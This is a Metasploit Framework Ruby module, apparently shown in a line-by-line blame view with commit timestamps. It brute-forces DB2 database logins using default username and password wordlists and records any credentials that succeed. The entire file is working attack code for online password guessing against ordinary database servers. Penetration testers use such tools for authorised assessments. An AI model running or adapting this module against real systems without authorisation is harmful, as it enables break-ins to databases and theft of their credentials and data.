2010-01-25 15:58:24 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2010-01-25 15:58:24 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-01-25 15:58:24 +00:00
|
|
|
include Msf::Exploit::Remote::DB2
|
|
|
|
include Msf::Auxiliary::AuthBrute
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-01-25 15:58:24 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'DB2 Authentication Brute Force Utility',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => %q{This module attempts to authenticate against a DB2
|
|
|
|
instance using username and password combinations indicated by the
|
|
|
|
USER_FILE, PASS_FILE, and USERPASS_FILE options.},
|
|
|
|
'Author' => ['todb'],
|
2011-01-04 15:30:17 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '1999-0502'] # Weak password
|
|
|
|
],
|
2010-01-25 15:58:24 +00:00
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2010-03-22 20:07:26 +00:00
|
|
|
OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line",
|
2010-09-20 08:06:27 +00:00
|
|
|
File.join(Msf::Config.install_root, "data", "wordlists", "db2_default_userpass.txt") ]),
|
2010-03-22 20:07:26 +00:00
|
|
|
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
|
2010-09-20 08:06:27 +00:00
|
|
|
File.join(Msf::Config.install_root, "data", "wordlists", "db2_default_user.txt") ]),
|
2010-03-22 20:07:26 +00:00
|
|
|
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
2010-09-20 08:06:27 +00:00
|
|
|
File.join(Msf::Config.install_root, "data", "wordlists", "db2_default_pass.txt") ]),
|
2010-01-25 15:58:24 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2010-09-20 08:06:27 +00:00
|
|
|
each_user_pass { |user, pass|
|
|
|
|
do_login(user,pass,datastore['DATABASE'])
|
|
|
|
}
|
2010-01-25 15:58:24 +00:00
|
|
|
end
|
|
|
|
|
2010-03-22 20:07:26 +00:00
|
|
|
def do_login(user=nil,pass=nil,db=nil)
|
2010-03-05 00:44:39 +00:00
|
|
|
verbose = datastore['VERBOSE']
|
|
|
|
datastore['USERNAME'] = user
|
|
|
|
datastore['PASSWORD'] = pass
|
2010-03-22 20:07:26 +00:00
|
|
|
vprint_status("#{rhost}:#{rport} - DB2 - Trying username:'#{user}' with password:'#{pass}'")
|
2010-01-25 15:58:24 +00:00
|
|
|
|
|
|
|
begin
|
|
|
|
info = db2_check_login
|
|
|
|
rescue ::Rex::ConnectionError
|
2010-04-30 08:40:19 +00:00
|
|
|
vprint_error("#{rhost}:#{rport} : Unable to attempt authentication")
|
2010-03-22 20:07:26 +00:00
|
|
|
return :abort
|
2010-01-25 15:58:24 +00:00
|
|
|
rescue ::Rex::Proto::DRDA::RespError => e
|
2010-04-30 08:40:19 +00:00
|
|
|
vprint_error("#{rhost}:#{rport} : Error in connecting to DB2 instance: #{e}")
|
2010-03-22 20:07:26 +00:00
|
|
|
return :abort
|
2010-01-25 15:58:24 +00:00
|
|
|
end
|
2010-02-08 18:54:50 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
disconnect
|
|
|
|
|
|
|
|
if info[:db_login_success]
|
|
|
|
print_good("#{rhost}:#{rport} - DB2 - successful login for '#{user}' : '#{pass}' against database '#{db}'")
|
|
|
|
# Report credentials
|
|
|
|
report_auth_info(
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:sname => "db2",
|
|
|
|
:user => "#{db}/#{user}",
|
|
|
|
:pass => pass,
|
|
|
|
:active => true
|
2010-01-25 15:58:24 +00:00
|
|
|
)
|
2010-09-20 08:06:27 +00:00
|
|
|
return :next_user
|
|
|
|
else
|
|
|
|
vprint_error("#{rhost}:#{rport} - DB2 - failed login for '#{user}' : '#{pass}' against database '#{db}'")
|
|
|
|
return :fail
|
|
|
|
end
|
2010-01-25 15:58:24 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
end
|